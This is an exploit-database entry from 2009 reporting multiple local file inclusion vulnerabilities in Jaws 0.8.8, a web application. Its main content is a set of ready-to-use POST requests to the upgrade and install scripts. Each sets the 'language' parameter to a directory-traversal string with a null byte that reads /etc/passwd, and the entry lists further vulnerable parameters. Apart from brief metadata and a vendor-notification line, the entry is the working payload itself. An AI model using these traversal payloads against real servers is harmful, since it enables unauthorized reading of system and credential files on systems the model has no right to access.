Jaws 0.8.8 Multiple Local File Inclusion Vulnerabilities

2009-02-04T00:00:00
ID 1337DAY-ID-4793
Type zdt
Reporter fuzion
Modified 2009-02-04T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ========================================================
Jaws 0.8.8 Multiple Local File Inclusion Vulnerabilities
========================================================


Jaws 0.8.8 Local File Inclusion

POST /upgrade/index.php
language=../../../../../../../../../../../../etc/passwd%00

POST /install/index.php
language=../../../../../../../../../../../../etc/passwd%00
Also vulnerable:
Introduction_complete
use_log

Author notified: Jan 24



#  0day.today [2018-02-21]  #